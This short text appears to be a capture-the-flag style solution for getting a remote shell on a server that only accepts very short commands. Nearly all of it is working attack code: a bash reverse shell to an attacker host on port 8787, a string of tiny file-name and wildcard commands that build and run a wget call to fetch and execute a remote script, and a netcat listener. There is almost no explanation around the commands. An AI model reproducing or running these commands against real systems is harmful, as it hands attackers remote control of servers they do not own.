Example host: http://zzzz.tk/index.html

```
bash -c 'bash -i >& /dev/tcp/zzzz.tk/8787 0>&1'
```

---

1. reset
2. cmd

```
>echo
>wget
>zz\\
*>.a
rm w*
rm z*
>z\\
*>>.a
rm z*
>z.tk
*>>.a
sh .a
sh i*
```

---

At zzzz.tk: `nc -l 8787`